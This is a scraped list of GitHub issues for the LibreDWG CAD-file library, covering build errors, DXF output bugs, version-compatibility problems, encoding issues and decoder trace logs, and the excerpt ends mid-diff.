C:\Users\Liu\Desktop\libredwg-master\src\decode.c(3802,50): error C2065: “ref”: 未声明的标识符 [C:\Users\Liu\Desktop\libredwg-master\build2\libredwg.vcxproj]
C:\Users\Liu\Desktop\libredwg-master\src\decode.c(3802,50): warning C4133: “函数”: 从“int *”到“Dwg_Object_Ref *restrict ”的类型不兼容 [C:\Users\Liu\Desktop\libredwg-master\build2\libredwg.vcxproj]
C:\Users\Liu\Desktop\libredwg-master\src\decode.c(3815,48): error C2065: “ref”: 未声明的标识符 [C:\Users\Liu\Desktop\libredwg-master\build2\libredwg.vcxproj]
C:\Users\Liu\Desktop\libredwg-master\src\decode.c(3815,49): error C2224: “.absolute_ref”的左侧必须具有结构/联合类型 [C:\Users\Liu\Desktop\libredwg-master\build2\libredwg.vcxproj]
C:\Users\Liu\Desktop\libredwg-master\src\decode.c(3824,1): error C2065: “ref”: 未声明的标识符 [C:\Users\Liu\Desktop\libredwg-master\build2\libredwg.vcxproj]
C:\Users\Liu\Desktop\libredwg-master\src\decode.c(3824,1): error C2224: “.absolute_ref”的左侧必须具有结构/联合类型 [C:\Users\Liu\Desktop\libredwg-master\build2\libredwg.vcxproj]

|
C:\Users\Liu\Desktop\libredwg-master\src\decode.c(3799,22): error C2065: “ref”: 未声明的标识符 [Desktop\libredwg-master\build2\libredwg.vcxproj]
|
https://api.github.com/repos/LibreDWG/libredwg/issues/988/comments
| 3 |
2024-06-27T03:57:53Z
|
2024-07-06T10:05:37Z
|
https://github.com/LibreDWG/libredwg/issues/988
| 2,376,986,739 | 988 |
[
"LibreDWG",
"libredwg"
] |
In file included from decode.c:287:0:
template.spec: In function ‘template_private’:
template.spec:22:1: error: format not a string literal, argument types not checked [-Werror=format-nonliteral]
FIELD_RS (MEASUREMENT, 0); // copied to header_vars
^
template.spec:22:1: error: format not a string literal, argument types not checked [-Werror=format-nonliteral]
In file included from decode.c:320:0:
header.spec: In function ‘decode_R13_R2000’:
header.spec:22:3: error: format not a string literal, argument types not checked [-Werror=format-nonliteral]
FIELD_RC (is_maint, 0);
^
header.spec:22:3: error: format not a string literal, argument types not checked [-Werror=format-nonliteral]
header.spec:25:5: error: format not a string literal, argument types not checked [-Werror=format-nonliteral]
|
centos system: make errors: template.spec:22:1: error: format not a string literal, argument
|
https://api.github.com/repos/LibreDWG/libredwg/issues/987/comments
| 1 |
2024-06-20T02:48:23Z
|
2024-07-13T19:33:26Z
|
https://github.com/LibreDWG/libredwg/issues/987
| 2,363,394,768 | 987 |
[
"LibreDWG",
"libredwg"
] |
Invalid DXF file is produced when trying to convert DWG to DXF using `dwg2dxf`. Long text (usually in group `1`) is split incorrectly. The continuation line does not have a preceding group code. Additionally unicode code points are split between the lines. Here is an example fragment of such result (sorry, I cannot share the full source file, it is proprietary):
```
XRECORD
5
E331
102
{ACAD_REACTORS
330
E2CB
102
}
330
E2CB
100
AcDbXrecord
280
1
40
401321167
1
{\fCalibri|b1|i0|c0|p34;\L3\fCalibri|b1|i0|c161|p34;. \fCalibri|b1|i0|c0|p34;ΟΡΟΙ ΔΟΜΗΣΗΣ\P\fCalibri|b0|i0|c0|p34;\l \P \fCalibri|b1|i0|c0|p34; 3.1 ΞΕΝΟΔΟΧΕΙΑΚΕΣ ΕΓΚΑΤΑΣΤΑΣΕΙΣ - ΕΚΤΟΣ ΣΧΕΔΙΟΥ\fCalibri|
b1|i0|c161|p34;\L\P\pxi-20.507,l23,t5.4931,2 # <<<< continuation without tag!
1
3,24;\fCalibri|b0|i0|c161|p34;\l1. ΘΕΣΗ ΓΗΠΕΔΟΥ \fCalibri|b1|i0|c161|p34;\L\P\fCalibri|b0|i0|c161|p34;\l2. ΝΟΜΟΙ & ΔΙΑΤΑΓΜΑΤΑ \P\pi0,l0,tz;\P\P\P\P\P\P\pi-20.507,l23,t5.4931,23,24;3. ΑΡΤΙΟΤΗΤΑ\P4. ΣΥΝΤΕΛ?
?ΣΤΗΣ ΔΟΜΗΣΗΣ \fCalibri|b0|i0|c0|p34; # <<<< continuation without tag! unicode symbol broken, part is left on the previous line.
```
Looking into the code, I suspect several problems:
https://github.com/LibreDWG/libredwg/blob/07c078aca71840f0f9a0dffb3032056d043858b0/src/out_dxf.c#L1270
1. Continuation group code is written only [if remaining length is greater than 255](https://github.com/LibreDWG/libredwg/blob/07c078aca71840f0f9a0dffb3032056d043858b0/src/out_dxf.c#L1295). It is probably a typo, and it should check for greater than 0, like [in the block above it](https://github.com/LibreDWG/libredwg/blob/07c078aca71840f0f9a0dffb3032056d043858b0/src/out_dxf.c#L1276).
2. Unicode is not handled in any way. Code point may be split at an arbitrary byte.
3. According to DXF specification text length limit is 250 characters, not 255.
4. According to DXF specification, if text field is split (group `1`), all partial fragments (starting from the first one) should have group `3`, and should be terminated by last fragment with group `1`. Seems there is no place for such logic in the current implementation.
5. [This 1024 bytes limit](https://github.com/LibreDWG/libredwg/blob/07c078aca71840f0f9a0dffb3032056d043858b0/src/out_dxf.c#L1258) looks very bad. Shouldn't it be increased with dynamic buffer allocation?
|
Bugs in text splitting for DXF output
|
https://api.github.com/repos/LibreDWG/libredwg/issues/986/comments
| 1 |
2024-06-18T11:16:23Z
|
2024-07-12T09:38:23Z
|
https://github.com/LibreDWG/libredwg/issues/986
| 2,359,605,626 | 986 |
[
"LibreDWG",
"libredwg"
] |
as wanted in #346
skip all problematic objects and links.
generally it's better to avoid data-loss, and let the 3rdparty cad app recover minor errors.
|
add dwgwrite flag to help avoid recovery mode but with data-loss
|
https://api.github.com/repos/LibreDWG/libredwg/issues/984/comments
| 0 |
2024-06-14T07:19:26Z
|
2024-06-14T07:22:04Z
|
https://github.com/LibreDWG/libredwg/issues/984
| 2,352,704,544 | 984 |
[
"LibreDWG",
"libredwg"
] |
Use dwgrewrite.c code,dwg file use \test\test-data\example_2018.dwg conver to R2000 dwg file is success, but open it in autoCAD2020 that remind me File corrupted and need fix file, when I fix file, is open normally. And open in autoCAD2007, remind me Fatal error: Unhandled e06d7363h Exception at 7644b5b2h. I can't open file. What can I do to avoid remind?And another question is Preview picture is can't see.
|
Use dwgrewrite.c code,autoCAD open conver dwg file have Error pop-up message
|
https://api.github.com/repos/LibreDWG/libredwg/issues/983/comments
| 1 |
2024-06-04T07:17:33Z
|
2024-06-04T10:32:40Z
|
https://github.com/LibreDWG/libredwg/issues/983
| 2,332,742,184 | 983 |
[
"LibreDWG",
"libredwg"
] |
<img width="572" alt="image" src="https://github.com/LibreDWG/libredwg/assets/8394283/ebfd18d9-06a0-4752-97ee-72fc1a2309d2">
Usage: dwggrep [-cRr] pattern *.dwg?
|
dwggrep option handling
|
https://api.github.com/repos/LibreDWG/libredwg/issues/982/comments
| 1 |
2024-06-03T09:21:13Z
|
2024-06-18T09:19:10Z
|
https://github.com/LibreDWG/libredwg/issues/982
| 2,330,623,101 | 982 |
[
"LibreDWG",
"libredwg"
] |
Hello, I need to use files like out_json.h and hash.h when installing and compiling, but the current installation method does not include these related files. Do you have a good solution for this? Thank you
|
The necessary files are missing when installing
|
https://api.github.com/repos/LibreDWG/libredwg/issues/978/comments
| 3 |
2024-05-28T10:02:02Z
|
2024-05-29T21:10:07Z
|
https://github.com/LibreDWG/libredwg/issues/978
| 2,320,645,675 | 978 |
[
"LibreDWG",
"libredwg"
] |
I have a problem creating geojson from this dwg file.
The command that I am running is: dwgread -O geojson
[output_geojson.json](https://github.com/LibreDWG/libredwg/files/15391061/output_geojson.json)
[test.zip](https://github.com/LibreDWG/libredwg/files/15391062/test.zip)
_Originally posted by @kovacevski in https://github.com/LibreDWG/libredwg/issues/849#issuecomment-2122740242_
|
Problem creating geojson
|
https://api.github.com/repos/LibreDWG/libredwg/issues/977/comments
| 1 |
2024-05-22T07:21:49Z
|
2024-05-23T05:47:43Z
|
https://github.com/LibreDWG/libredwg/issues/977
| 2,309,773,925 | 977 |
[
"LibreDWG",
"libredwg"
] |
Error building makefile ƒrom `libredwg` directory
```
make[2]: Entering directory '/home/libredwg/src'
make[2]: *** No rule to make target 'all'. Stop.
```
COMMANDS: trace
```
# directory cloning
git clone https://github.com/LibreDWG/libredwg.git
cd libredwg/
perform autoconf generations
./autogen.sh
# configure and enable trace
./configure --enable-trace
# build binaries * failed here with the above error*
make
```
Thanks in advance for your assistance.
--Victor
|
BUILD ERROR: No rule to make target 'all'.
|
https://api.github.com/repos/LibreDWG/libredwg/issues/976/comments
| 1 |
2024-05-16T11:54:48Z
|
2024-07-06T07:01:12Z
|
https://github.com/LibreDWG/libredwg/issues/976
| 2,300,201,425 | 976 |
[
"LibreDWG",
"libredwg"
] |
Using the precompiled windows binaries for version 13.3. When I import the LibreDWG.py module the first thing it does is look for the _LibreDWG.so file. However, this file is nowhere to be found in either the site-packages folder or the zip file as a whole.
Is there another file in the package that can be pointed to to do the same job? If not, would it be possible to ensure that the .so file is included in the python library please?
|
_LibreDWG.so missing from python bindings
|
https://api.github.com/repos/LibreDWG/libredwg/issues/975/comments
| 2 |
2024-05-10T10:15:24Z
|
2024-07-23T21:07:37Z
|
https://github.com/LibreDWG/libredwg/issues/975
| 2,289,437,593 | 975 |
[
"LibreDWG",
"libredwg"
] |
As the description of the title.
Trying to use **dwg_read_file** open a dwg file created by autocad 2022.
Somehow, I got error of DWG_ERR_VALUEOUTOFBOUNDS which is 64 in interger.
But it works fine with previous versions like 2007, 2010, 2012 etc..
|
Cannot open an autocad2022 version dwg file.
|
https://api.github.com/repos/LibreDWG/libredwg/issues/974/comments
| 4 |
2024-04-28T07:53:37Z
|
2024-05-01T07:40:28Z
|
https://github.com/LibreDWG/libredwg/issues/974
| 2,267,413,462 | 974 |
[
"LibreDWG",
"libredwg"
] |
when I use the lib to read dwg file, hatch entity miss some data... the dwg file version is r2018 。
It becomes normal when the version is r2004 ~ r2007;
The CAD soft I use is ZWCAD 2020 , OS is WIN10 .
hatch2007

hatch2018

[hatch.zip](https://github.com/LibreDWG/libredwg/files/15126485/hatch.zip)
|
hatch entity miss data
|
https://api.github.com/repos/LibreDWG/libredwg/issues/973/comments
| 3 |
2024-04-26T07:05:54Z
|
2024-05-05T13:01:24Z
|
https://github.com/LibreDWG/libredwg/issues/973
| 2,265,103,907 | 973 |
[
"LibreDWG",
"libredwg"
] |
Example:
[foo.dwg.gz](https://github.com/LibreDWG/libredwg/files/14706236/foo.dwg.gz)
Actually:
```
handle: 0.3.FFFF [H 5]
```
Expected:
```
handle: 0.3.19FFFF [H 5]
```
Because (src/bits.c):
```
if (dat->version < R_2018) // FIXME where did I see 64bit handles?
handle->value &= 0xFFFF
```
|
Issue with HANDLE > 32b
|
https://api.github.com/repos/LibreDWG/libredwg/issues/967/comments
| 1 |
2024-03-21T19:47:07Z
|
2024-04-29T18:54:29Z
|
https://github.com/LibreDWG/libredwg/issues/967
| 2,201,031,711 | 967 |
[
"LibreDWG",
"libredwg"
] |
Warning
```dwg.h:9690:4: warning: ISO C99 doesn’t support unnamed structs/unions [-Wpedantic]```
Code:
```
union {
Dwg_R2004_Header r2004_header; /* encrypted, packed */
Dwg_R2007_Header r2007_file_header; /* encrypted, packed */
};
```
|
Warning with compilation - unnamed structs/unions
|
https://api.github.com/repos/LibreDWG/libredwg/issues/966/comments
| 1 |
2024-03-21T18:18:27Z
|
2024-05-03T21:07:36Z
|
https://github.com/LibreDWG/libredwg/issues/966
| 2,200,867,836 | 966 |
[
"LibreDWG",
"libredwg"
] |
Hi, I was successfully able to get the vertind from dwg_ent_vert_pface_face,
but I don't know the correct way to use this value for retrieving a certain vertex point,
I tried to collect all the vertex points by iterating objects through dwg_get_object() to a vector,
but seems the sequence is not as the same as how vertind works,
and I found there's another functionality calls dwg_getall_VERTEX_PFACE(),
but I couldn't figure out how to convert my dwg_data to its input type,
any advice would be greatfully appreciated,
thank you in advance :]
|
how to use vertind to retrieve dwg_ent_vertex_pface in current dwg_data?
|
https://api.github.com/repos/LibreDWG/libredwg/issues/963/comments
| 0 |
2024-03-18T01:29:15Z
|
2024-03-18T01:32:11Z
|
https://github.com/LibreDWG/libredwg/issues/963
| 2,191,042,711 | 963 |
[
"LibreDWG",
"libredwg"
] |
Hi, I'm new to this library and am trying to get the point from insert entities to process in other application
with code like this:
```
dwg_ent_insert* ins1;
auto cadPT1 = ins1->ins_pt;
SUPoint3D pt1 = { cadPT1.x cadPT1.y , cadPT1.z };
```
somehow the points' XYZ value is not the same as it is when I check it in the AutoCAD,
like the first Point mis-placed Y and Z value, though it's easy to correct by simply rotate via x-axis,
the issue seems to be irregular, like the second point all the three values are mis-placed,

I've checked other entity type like mtext and line, which don't have this problem.
did I mis-operate or is this really a problem, if so how can I fix it?
Thank you :]
|
Mis-positioned values in XYZ of Insert->ins_pt?
|
https://api.github.com/repos/LibreDWG/libredwg/issues/962/comments
| 6 |
2024-03-16T05:44:40Z
|
2024-03-17T13:29:49Z
|
https://github.com/LibreDWG/libredwg/issues/962
| 2,189,793,990 | 962 |
[
"LibreDWG",
"libredwg"
] |
off-by-one. also no test coverage.
this could fix some encoding tickets
|
bit_utf8_to_TU is broken
|
https://api.github.com/repos/LibreDWG/libredwg/issues/959/comments
| 0 |
2024-03-15T09:11:05Z
|
2024-03-19T07:29:30Z
|
https://github.com/LibreDWG/libredwg/issues/959
| 2,188,048,617 | 959 |
[
"LibreDWG",
"libredwg"
] |
currently we ignore the codepage, and just check ascii or wide chars for iswalnum
|
add codepage-specific isalnum check for valid names
|
https://api.github.com/repos/LibreDWG/libredwg/issues/958/comments
| 1 |
2024-03-14T09:28:20Z
|
2024-03-19T07:28:42Z
|
https://github.com/LibreDWG/libredwg/issues/958
| 2,185,871,399 | 958 |
[
"LibreDWG",
"libredwg"
] |
Example (r14):
[ltype1.dwg.gz](https://github.com/LibreDWG/libredwg/files/14572314/ltype1.dwg.gz)
This is line with two text dashes.
Output:
```
Next object: 27 Handleoff: 0xB [UMC] Offset: -1254 [MC] @1896
==========================================
Object number: 27/1B, Size: 510 [MS], Type: 57 [BS], Address: 1898
Add table record LTYPE [27] Decode table record LTYPE
handle: 0.1.28 [H 5]
EED[0] size: 0 (end)
num_eed: 0
bitsize: 3980 [RL]
Hdlsize: 0x64, hdl_dat: @497.4 - @510.0 (510)
num_reactors: 0 [BL 0]
ownerhandle: (4.1.5) abs:5 [H 330]
xdicobjhandle: (3.0.0) abs:0 [H 360]
--common_size: 52
name: "FOO" [T 2]
is_xref_ref: 1 [B 0]
is_xref_resolved: 0 [BS 0]
is_xref_dep: 0 [B 0]
xref: (5.0.0) abs:0 [H 0]
description: "---- FOO ---- BAR ---- FOO ---- BAR ---- FOO --" [T 3]
pattern_len: 1.8 [BD 0]
alignment: 0x41 [RC 72]
numdashes: 6 [RC 73]
dashes[0].length: 0.5 [BD 49]
dashes[0].complex_shapecode: 0 [BS 75]
dashes[rcount1].style: (5.0.0) abs:0 [H 340]
dashes[0].x_offset: 0 [RD 44]
dashes[0].y_offset: 0 [RD 45]
dashes[0].scale: 1 [BD 46]
dashes[rcount1].rotation: 0 [BD 50] 0º
dashes[0].shape_flag: 0 [BS 74]
dashes[1].length: -0.2 [BD 49]
dashes[1].complex_shapecode: 0 [BS 75]
dashes[rcount1].style: (5.1.10) abs:16 [H 340] => STYLE STANDARD
dashes[1].x_offset: -0.1 [RD 44]
dashes[1].y_offset: -0.05 [RD 45]
dashes[1].scale: 0.1 [BD 46]
dashes[rcount1].rotation: 0 [BD 50] 0º
dashes[1].shape_flag: 2 [BS 74]
dashes[2].length: -0.2 [BD 49]
dashes[2].complex_shapecode: 0 [BS 75]
dashes[rcount1].style: (5.0.0) abs:0 [H 340]
dashes[2].x_offset: 0 [RD 44]
dashes[2].y_offset: 0 [RD 45]
dashes[2].scale: 1 [BD 46]
dashes[rcount1].rotation: 0 [BD 50] 0º
dashes[2].shape_flag: 0 [BS 74]
dashes[3].length: 0.5 [BD 49]
dashes[3].complex_shapecode: 0 [BS 75]
dashes[rcount1].style: (5.0.0) abs:0 [H 340]
dashes[3].x_offset: 0 [RD 44]
dashes[3].y_offset: 0 [RD 45]
dashes[3].scale: 1 [BD 46]
dashes[rcount1].rotation: 0 [BD 50] 0º
dashes[3].shape_flag: 0 [BS 74]
dashes[4].length: -0.2 [BD 49]
dashes[4].complex_shapecode: 4 [BS 75]
dashes[rcount1].style: (5.1.10) abs:16 [H 340] => STYLE STANDARD
dashes[4].x_offset: -0.1 [RD 44]
dashes[4].y_offset: -0.05 [RD 45]
dashes[4].scale: 0.1 [BD 46]
dashes[rcount1].rotation: 0 [BD 50] 0º
dashes[4].shape_flag: 2 [BS 74]
dashes[5].length: -0.2 [BD 49]
dashes[5].complex_shapecode: 0 [BS 75]
dashes[rcount1].style: (5.0.0) abs:0 [H 340]
dashes[5].x_offset: 0 [RD 44]
dashes[5].y_offset: 0 [RD 45]
dashes[5].scale: 1 [BD 46]
dashes[rcount1].rotation: 0 [BD 50] 0º
dashes[5].shape_flag: 0 [BS 74]
strings_area: "FOO" [TF 256 0]
dashes[1] @0
dashes[4] @4
padding: +4
object_map{28} = 27
padding: 0/0 (4 bits)
crc: 2927 [RSx]
check_CRC 1896-2408 = 512: 2927 == 2927
```
I am focusing to lines:
```
strings_area: "FOO" [TF 256 0]
dashes[1] @0
dashes[4] @4
```
In strings area is "FOO" \0 "BAR", but in logging is only "FOO", because \0.
I think that we need better logging of strings_area than TF. I am proposing hexadecimal output.
I am proposing to log real text to each dash. Something like:
```
dashes[1] FOO @0
dashes[4] BAR @4
```
|
Improve logging of LTYPE dashes in dwgread output
|
https://api.github.com/repos/LibreDWG/libredwg/issues/956/comments
| 5 |
2024-03-12T12:45:03Z
|
2024-03-12T19:24:54Z
|
https://github.com/LibreDWG/libredwg/issues/956
| 2,181,534,620 | 956 |
[
"LibreDWG",
"libredwg"
] |
When I compile libredwg without ```--enable-debug``` (tested on mingw cross compilation). The conversion of DWG with MATERIAL class to JSON and back is not working. Output DWG file is not possible to open in AutoCAD.
This is partially related to the implementation of MATERIAL class.
|
Fix MATERIAL class
|
https://api.github.com/repos/LibreDWG/libredwg/issues/954/comments
| 5 |
2024-03-10T10:44:56Z
|
2024-07-06T13:38:31Z
|
https://github.com/LibreDWG/libredwg/issues/954
| 2,177,651,011 | 954 |
[
"LibreDWG",
"libredwg"
] |
It seems like an issue similar to #820. When I try and make I get these errors.
In file included from print.c:397:
./dwg.spec:5969:15: error: format specifies type 'unsigned short' but the argument has type 'int' [-Werror,-Wformat]
VALUE_RS (0, 360);
~~~~~~~~~~^~~~~~~
print.c:216:37: note: expanded from macro 'VALUE_RS'
#define VALUE_RS(value, dxf) VALUE (value, RS, dxf)
~~~~~~~^~~~~~~~~~~~~~~
print.c:214:55: note: expanded from macro 'VALUE'
LOG_TRACE (FORMAT_##type " [" #type " " #dxf "]\n", value)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^~~~~~
./logging.h:102:36: note: expanded from macro 'LOG_TRACE'
#define LOG_TRACE(...) LOG (TRACE, __VA_ARGS__)
~~~~~~~~~~~~^~~~~~~~~~~~
./logging.h:61:26: note: expanded from macro 'LOG'
HANDLER (OUTPUT, __VA_ARGS__); \
^~~~~~~~~~~
In file included from print.c:397:
./dwg.spec:5974:17: error: format specifies type 'unsigned short' but the argument has type 'int' [-Werror,-Wformat]
VALUE_RS (0, 94);
~~~~~~~~~~^~~~~~
print.c:216:37: note: expanded from macro 'VALUE_RS'
#define VALUE_RS(value, dxf) VALUE (value, RS, dxf)
~~~~~~~^~~~~~~~~~~~~~~
print.c:214:55: note: expanded from macro 'VALUE'
LOG_TRACE (FORMAT_##type " [" #type " " #dxf "]\n", value)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^~~~~~
./logging.h:102:36: note: expanded from macro 'LOG_TRACE'
#define LOG_TRACE(...) LOG (TRACE, __VA_ARGS__)
~~~~~~~~~~~~^~~~~~~~~~~~
./logging.h:61:26: note: expanded from macro 'LOG'
HANDLER (OUTPUT, __VA_ARGS__); \
^~~~~~~~~~~
In file included from print.c:397:
./dwg.spec:6102:17: error: format specifies type 'unsigned short' but the argument has type 'int' [-Werror,-Wformat]
VALUE_RS (0, 94);
~~~~~~~~~~^~~~~~
print.c:216:37: note: expanded from macro 'VALUE_RS'
#define VALUE_RS(value, dxf) VALUE (value, RS, dxf)
~~~~~~~^~~~~~~~~~~~~~~
print.c:214:55: note: expanded from macro 'VALUE'
LOG_TRACE (FORMAT_##type " [" #type " " #dxf "]\n", value)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^~~~~~
./logging.h:102:36: note: expanded from macro 'LOG_TRACE'
#define LOG_TRACE(...) LOG (TRACE, __VA_ARGS__)
~~~~~~~~~~~~^~~~~~~~~~~~
./logging.h:61:26: note: expanded from macro 'LOG'
HANDLER (OUTPUT, __VA_ARGS__); \
^~~~~~~~~~~
In file included from print.c:397:
./dwg.spec:12343:5: error: format specifies type 'unsigned short' but the argument has type 'BITCODE_BL' (aka 'unsigned int') [-Werror,-Wformat]
SUB_FIELD_BS (hdls[rcount1], long1, 94);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
./spec.h:193:37: note: expanded from macro 'SUB_FIELD_BS'
# define SUB_FIELD_BS(o, nam, dxf) FIELDG (o.nam, BS, dxf)
^~~~~~~~~~~~~~~~~~~~~~~
print.c:47:32: note: expanded from macro 'FIELDG'
#define FIELDG(nam, type, dxf) FIELD_G_TRACE (nam, type, dxf)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
print.c:51:65: note: expanded from macro 'FIELD_G_TRACE'
LOG_TRACE (#nam ": " FORMAT_##type " [" #type " " #dxf "]\n", _obj->nam)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^~~~~~~~~~
./logging.h:102:36: note: expanded from macro 'LOG_TRACE'
#define LOG_TRACE(...) LOG (TRACE, __VA_ARGS__)
~~~~~~~~~~~~^~~~~~~~~~~~
./logging.h:61:26: note: expanded from macro 'LOG'
HANDLER (OUTPUT, __VA_ARGS__); \
^~~~~~~~~~~
In file included from print.c:397:
./dwg.spec:12348:5: error: format specifies type 'unsigned short' but the argument has type 'BITCODE_BL' (aka 'unsigned int') [-Werror,-Wformat]
SUB_FIELD_BS (hdls[rcount1], long2, 94);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
./spec.h:193:37: note: expanded from macro 'SUB_FIELD_BS'
# define SUB_FIELD_BS(o, nam, dxf) FIELDG (o.nam, BS, dxf)
^~~~~~~~~~~~~~~~~~~~~~~
print.c:47:32: note: expanded from macro 'FIELDG'
#define FIELDG(nam, type, dxf) FIELD_G_TRACE (nam, type, dxf)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
print.c:51:65: note: expanded from macro 'FIELD_G_TRACE'
LOG_TRACE (#nam ": " FORMAT_##type " [" #type " " #dxf "]\n", _obj->nam)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^~~~~~~~~~
./logging.h:102:36: note: expanded from macro 'LOG_TRACE'
#define LOG_TRACE(...) LOG (TRACE, __VA_ARGS__)
~~~~~~~~~~~~^~~~~~~~~~~~
./logging.h:61:26: note: expanded from macro 'LOG'
HANDLER (OUTPUT, __VA_ARGS__); \
^~~~~~~~~~~
5 errors generated.
make[4]: *** [print.lo] Error 1
make[3]: *** [all-recursive] Error 1
make[2]: *** [all] Error 2
make[1]: *** [all-recursive] Error 1
make: *** [all] Error 2
|
Error with make on M1 mac
|
https://api.github.com/repos/LibreDWG/libredwg/issues/951/comments
| 1 |
2024-03-08T16:11:46Z
|
2024-03-11T17:12:01Z
|
https://github.com/LibreDWG/libredwg/issues/951
| 2,176,339,402 | 951 |
[
"LibreDWG",
"libredwg"
] |
Hi, I only want the dwg2dxf function, how can I compile it on Linux?
|
I only want the dwg2dxf function, how can I compile it on Linux?
|
https://api.github.com/repos/LibreDWG/libredwg/issues/950/comments
| 2 |
2024-03-06T07:47:45Z
|
2024-03-07T00:48:15Z
|
https://github.com/LibreDWG/libredwg/issues/950
| 2,170,854,860 | 950 |
[
"LibreDWG",
"libredwg"
] |
I have an example:
[red_line.tar.gz](https://github.com/LibreDWG/libredwg/files/14498409/red_line.tar.gz)
Intention: Create a line, change color to red, create ltype, and use it in the created line.
I am curious, that in the DWG file isn't set ltype in the LINE entity.
What am I doing wrong?
```c
ltype = dwg_add_LTYPE(dwg, "New LTYPE");
line = dwg_add_LINE(hdr, &pt1, &pt2);
if (line != NULL) {
// Red color.
line->parent->color.index = 1; // Red color
// Set line type.
ltype_obj = dwg_obj_generic_to_object (ltype, &ret);
line->parent->ltype = dwg_add_handleref (dwg, 5, ltype_obj->handle.value, NULL);
}
```
|
How to set linetype to entity?
|
https://api.github.com/repos/LibreDWG/libredwg/issues/949/comments
| 6 |
2024-03-05T16:25:48Z
|
2024-03-11T18:28:09Z
|
https://github.com/LibreDWG/libredwg/issues/949
| 2,169,651,323 | 949 |
[
"LibreDWG",
"libredwg"
] |
Reported by @xiuweihan in https://github.com/LibreDWG/libredwg/issues/946
[5172_v2.zip](https://github.com/LibreDWG/libredwg/files/14493740/5172_v2.zip)
Error:
```
=== Data Section (Section Info 2911) @2198900 ===
section_type: 0x4163003b [RLx 0]
decomp_data_size: 47892 [RL 0]
comp_data_size: 31437 [RL 0]
compression_type: 2 [RL 0]
checksum: 0xbf6ece37 [RLx 0]
ERROR: Invalid opcode 0x6 in input stream at pos 35258854
Warning: Failed to find section_info[0] with type 1
ERROR: Failed to read compressed Header section
Found no section_info[0] with type 9
ERROR: Failed to read uncompressed SummaryInfo section
Warning: Failed to find section_info[0] with type 3
ERROR: Failed to read compressed Classes section
Warning: Failed to find section_info[0] with type 7
ERROR: Failed to read compressed AcDbObjects section
Warning: Failed to find section_info[0] with type 2
ERROR: Failed to read uncompressed AuxHeader section
Found no section_info[0] with type 10
ERROR: Failed to read uncompressed Preview section
Found no section_info[0] with type 11
ERROR: Failed to read uncompressed AppInfo section
Found no section_info[0] with type 12
AppInfoHistory section not found
Found no section_info[0] with type 13
FileDepList section not found
Found no section_info[0] with type 14
Security section not found
Found no section_info[0] with type 8
RevHistory section not found
Found no section_info[0] with type 6
ObjFreeSpace section not found
Found no section_info[0] with type 5
ERROR: Template section not found
```
Issue is with unhandled opcode ```Invalid opcode 0x6 in input stream at pos 35258854```
|
Issue in AC1032 with decompression of sections
|
https://api.github.com/repos/LibreDWG/libredwg/issues/948/comments
| 8 |
2024-03-05T10:16:01Z
|
2024-03-11T18:45:50Z
|
https://github.com/LibreDWG/libredwg/issues/948
| 2,168,817,015 | 948 |
[
"LibreDWG",
"libredwg"
] |
dwg file 1:
[894_v12.zip](https://github.com/LibreDWG/libredwg/files/14456324/894_v12.zip)
(dwg file 2 moved to https://github.com/LibreDWG/libredwg/issues/948)
output:READ ERROR *.dwg: 0x540
|
ERROR: read_R2004_section_info out of range
|
https://api.github.com/repos/LibreDWG/libredwg/issues/946/comments
| 4 |
2024-03-01T03:25:55Z
|
2024-03-11T17:25:30Z
|
https://github.com/LibreDWG/libredwg/issues/946
| 2,162,519,336 | 946 |
[
"LibreDWG",
"libredwg"
] |
Use dwglayers.exe:
[libredwg-0.13.3-win64.zip](https://github.com/LibreDWG/libredwg/files/14445953/libredwg-0.13.3-win64.zip)
to output the layer names of the dwg file. Some layers contain Chinese characters and garbled characters are output.
file:
[read_layer_name.zip](https://github.com/LibreDWG/libredwg/files/14445924/read_layer_name.zip)
result:
0
鍖哄煙-green area
PV ARRAY LIMIT
site
鍖哄煙 E-SUBSTATION
E-INVERTER_STATION
鍖哄煙-閬撹矾
*ADSK_SYSTEM_LIGHTS
DGX
GstarFastview4.2-ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-note-layer-HCNoteLayer
ZAW
|
Simplified Chinese decoding
|
https://api.github.com/repos/LibreDWG/libredwg/issues/945/comments
| 5 |
2024-02-29T09:41:26Z
|
2024-03-15T15:09:35Z
|
https://github.com/LibreDWG/libredwg/issues/945
| 2,160,828,368 | 945 |
[
"LibreDWG",
"libredwg"
] |
The conversion from JSON to DWG is not same on Windows as on Linux.
Examples on libredwg.0.13.3:
[linux.tar.gz](https://github.com/LibreDWG/libredwg/files/14424125/linux.tar.gz)
[wine.tar.gz](https://github.com/LibreDWG/libredwg/files/14424126/wine.tar.gz)
Diff between dwgread output of Windows dwgrewrite and conversion versions:
```
1c1
< Reading DWG file line00-rewrite.dwg
---
> Reading DWG file out00.dwg
19,20c19,20
< section[2].address: 33136 [RL]
< section[2].size: 496 [RL]
---
> section[2].address: 32998 [RL]
> section[2].size: 498 [RL]
25c25
< section[4].address: 33780 [RL]
---
> section[4].address: 33644 [RL]
30c30
< crc: 1D68 [RSx] from 0-79
---
> crc: CA1D [RSx] from 0-79
272,273c272,273
< DIMLWD: -2 [BSd 70]
< DIMLWE: -2 [BSd 70]
---
> DIMLWD: -1 [BSd 70]
> DIMLWE: -1 [BSd 70]
316c316
< crc: 38FA [RSx] from 24955-25438=483
---
> crc: 68C1 [RSx] from 24955-25438=483
341,344c341,344
< =======> Handles (start) : 33136
< Handles (end) : 33632
< Length: 496
< Handles page size: 490 [RS_BE]
---
> =======> Handles (start) : 32998
> Handles (end) : 33496
> Length: 498
> Handles page size: 492 [RS_BE]
471c471
< Object number: 7/7, Size: 15 [MS], Type: 66 [BS]
---
> Object number: 7/7, Size: 18 [MS], Type: 66 [BS]
474c474
< Hdlsize: 0x30,
---
> Hdlsize: 0x48,
479c479
< num_entries: 2 [BS 70]
---
